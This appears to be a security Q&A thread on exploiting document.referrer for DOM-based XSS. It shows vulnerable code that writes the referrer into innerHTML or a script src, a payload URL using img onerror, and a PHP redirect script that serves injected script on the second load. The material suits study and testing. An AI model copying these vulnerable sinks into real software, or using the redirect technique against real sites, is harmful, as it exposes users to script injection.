How can document.referrer be used for XSS?

Question

A very simple example...

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>

or

<script src="' + document.referrer + '"></script>

I've tried simply sending the request and adding a referrer header, but that doesn't seem to echo onto the page.

Answer 1

Updated browsers will encode the referrer URL.

So your examples will not work to trigger XSS nowadays.

Try this:

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);
</script>

JSFIDDLE:

http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?

Answer 2

The following code is vulnerable to DOM based XSS, because the attacker-controlled value of document.referrer is tracked by the browser:

<script src="' + document.referrer + '"></script>

The code above can be exploited using a page that upon first load redirects the browser to your target, on the 2nd load it returns an XSS payload. One way of doing this is checking the referer on the server-side:

<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
   print "alert('xss')";
}else{
   header("location: http://target.com/xss")
}
?>

When the page http://target.com/xss loads, javascript from document.referer it will load alert('xss').